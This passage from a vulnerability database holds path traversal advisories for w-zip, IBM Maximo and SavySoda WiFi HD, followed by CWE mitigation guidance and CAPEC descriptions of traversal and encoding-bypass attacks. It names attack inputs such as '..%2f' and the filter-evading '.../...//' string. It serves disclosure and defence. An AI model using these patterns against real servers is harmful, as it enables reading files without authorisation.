"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0401"
},
{
"type": "WEB",
"url": "https://github.com/yuda-lyu/w-zip/commit/d7039d034e02fa358e6656565157cedf5fa83288"
},
{
"type": "PACKAGE",
"url": "https://github.com/yuda-lyu/w-zip"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/d93259aa-ad03-43d6-8846-a00b9f58876d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in w-zip"
}
GHSA-FR6X-P4FR-JFMV
Vulnerability from github – Published: 2026-10-12 21:31 – Updated: 2026-10-12 21:31IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system.
{
"affected": [],
"aliases": [
"CVE-2026-105052"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T21:17:08Z",
"severity": "HIGH"
},
"details": "IBM Maximo Application Suite 8.10, 8.11, 9.0, 9.1, and 9.2 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing \"dot dot\" sequences (/../) to view arbitrary files on the system.",
"id": "GHSA-fr6x-p4fr-jfmv",
"modified": "2026-10-12T21:31:58Z",
"published": "2026-10-12T21:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105052"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7290791"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FR89-RJQ8-J557
Vulnerability from github – Published: 2022-05-17 01:34 – Updated: 2022-05-17 01:34Directory traversal vulnerability in SavySoda WiFi HD Free before 7.0 allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) in a GET request.
{
"affected": [],
"aliases": [
"CVE-2013-3923"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-11-26T16:55:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in SavySoda WiFi HD Free before 7.0 allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) in a GET request.",
"id": "GHSA-fr89-rjq8-j557",
"modified": "2022-05-17T01:34:17Z",
"published": "2022-05-17T01:34:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3923"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/89172"
},
{
"type": "WEB",
"url": "https://www.trustwave.com/spiderlabs/advisories/TWSL2013-034.txt"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.